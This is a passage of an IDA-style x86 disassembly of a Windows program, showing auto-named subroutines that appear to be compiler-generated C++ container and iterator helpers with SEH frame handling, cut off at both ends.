		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_414CC7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jz	short loc_414C7F


loc_414C34:				; CODE XREF: ___:00414C7Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_414C5C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C5C:				; CODE XREF: ___:00414C4Bj
		lea	ecx, [esp+4]
		call	sub_4018C5
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jnz	short loc_414C34


loc_414C7F:				; CODE XREF: ___:00414C32j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414CC7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414CA2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414CA2:				; CODE XREF: ___:00414C99j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414CC7:				; CODE XREF: ___:00414BEEj
					; ___:00414C85j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D40	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B59
sub_414D40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D58:				; CODE XREF: ___:00414D4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D70	proc near		; CODE XREF: sub_401B59j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401582
sub_414D70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E10	proc near		; CODE XREF: sub_4014C9j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F0B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014D3
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_448F30
		call	sub_401870
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+88h+var_4], ebx
		call	sub_40212B
		test	al, al
		jz	loc_415040
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F0B:				; CODE XREF: sub_414E10+36j
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_415040
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014D3
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014D3
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014D3
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_444600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_444600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+0D0h+var_4], ebx
		call	sub_4018AC
		test	al, al
		jz	short loc_415040
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_415040:				; CODE XREF: sub_414E10+82j
					; sub_414E10+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414E10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415100	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401ED8
sub_415100	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415140	proc near		; CODE XREF: sub_401726j

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401ED8
sub_415140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016D6
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401735
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151C0	proc near		; CODE XREF: sub_401582j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40146F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE9
sub_4151C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415230	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DBB
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415230	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415270	proc near		; CODE XREF: sub_401D9Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415270	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4152A0	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D9D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40217B
sub_4152A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152E0	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D70
		test	al, al
		jz	short loc_41536D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41531F:				; CODE XREF: sub_4152E0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FC3
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415351
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401578
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		jmp	short loc_41535A
; ---------------------------------------------------------------------------


loc_415351:				; CODE XREF: sub_4152E0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020C2


loc_41535A:				; CODE XREF: sub_4152E0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D70
		test	al, al
		jnz	short loc_41531F
		pop	edi


loc_41536D:				; CODE XREF: sub_4152E0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4152E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153B0	proc near		; CODE XREF: sub_401E38j
		push	esi
		mov	esi, ecx
		call	sub_401ED3
		mov	eax, esi
		pop	esi
		retn
sub_4153B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153D0	proc near		; CODE XREF: sub_401FC3j
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_4153D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153F0	proc near		; CODE XREF: sub_4020C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415450	proc near		; CODE XREF: sub_401F23j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C8F
sub_415450	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E33
sub_415490	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415500	proc near		; CODE XREF: sub_401992j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CDA
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415500	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_402257j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415540	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415570	proc near		; CODE XREF: sub_401F0Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402257
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AAA
sub_415570	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155B0	proc near		; CODE XREF: sub_401933j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AEB
		test	al, al
		jz	short loc_41568D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41563F:				; CODE XREF: sub_415600+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415671
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		jmp	short loc_41567A
; ---------------------------------------------------------------------------


loc_415671:				; CODE XREF: sub_415600+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018C5


loc_41567A:				; CODE XREF: sub_415600+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AEB
		test	al, al
		jnz	short loc_41563F
		pop	edi


loc_41568D:				; CODE XREF: sub_415600+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415600	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156D0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E97
		mov	eax, esi
		pop	esi
		retn
sub_4156D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156F0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402144
		add	esp, 4
		retn
sub_4156F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415710	proc near		; CODE XREF: sub_4018C5j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415740	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EC4
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415740	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415770	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DB6
sub_415770	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157B0	proc near		; CODE XREF: sub_4014BFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F14
sub_4157B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415820	proc near		; CODE XREF: sub_401901j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D7A
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415860	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415860	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415890	proc near		; CODE XREF: sub_401410j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401D11
sub_415890	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158D0	proc near		; CODE XREF: sub_401C76j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		pop	esi
		add	esp, 0Ch
		retn
sub_4158D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415920	proc near		; CODE XREF: sub_40214Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_4159AD
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41595F:				; CODE XREF: sub_415920+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415991
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EBF
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41599A
; ---------------------------------------------------------------------------


loc_415991:				; CODE XREF: sub_415920+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41599A:				; CODE XREF: sub_415920+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41595F
		pop	edi


loc_4159AD:				; CODE XREF: sub_415920+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415920	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159F0	proc near		; CODE XREF: sub_402275j
		push	esi
		mov	esi, ecx
		call	sub_401E42
		mov	eax, esi
		pop	esi
		retn
sub_4159F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A10	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017E4
		add	esp, 4
		retn
sub_415A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
